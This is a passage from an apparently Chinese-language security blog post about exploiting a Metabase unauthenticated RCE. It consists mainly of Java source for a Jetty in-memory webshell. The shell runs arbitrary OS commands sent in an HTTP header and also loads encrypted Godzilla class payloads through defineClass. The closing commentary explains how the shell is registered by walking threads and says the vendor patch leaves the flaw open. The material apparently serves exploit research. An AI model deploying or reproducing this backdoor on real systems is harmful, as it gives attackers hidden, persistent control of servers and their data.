value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
try {
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
PrintWriter writer = request.getResponse().getWriter();
writer.println(result);
writer.flush();
}
}
else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
PrintWriter writer = request.getResponse().getWriter();
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
}
}
} catch (Exception e) {
}
}
}

内置2种马,一种是cmd马,一种是哥斯拉内存马。
思路也是很简单,我们利用Unsafe类可以得到任意的类的属性。遍历当前进程,最后获取到HttpConnection对象,然后利用这个类去注册一个customizer,customizer相当于tomcat里的value型内存马。和Filter马是一样用的。
image.png
最后是成功连接

总结

从上述分析来看,一个未授权引起的RCE,但是修复方法是将setup-token不再显示,而没有对漏洞本身进行任何修复,那也就是说我们是不是还是可以通过某种方法获取到token,然后继续利用呢?然后jetty层的内存马也是比较高深莫测的。之前用的是jetty9,而metabase自带的是jetty11,也对应了jdk11,高版本jdk下的内存马还是需要我们一些探索的。
然后我们获取上下文context的方法最普遍的还是遍历线程,然后获取其中的属性。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE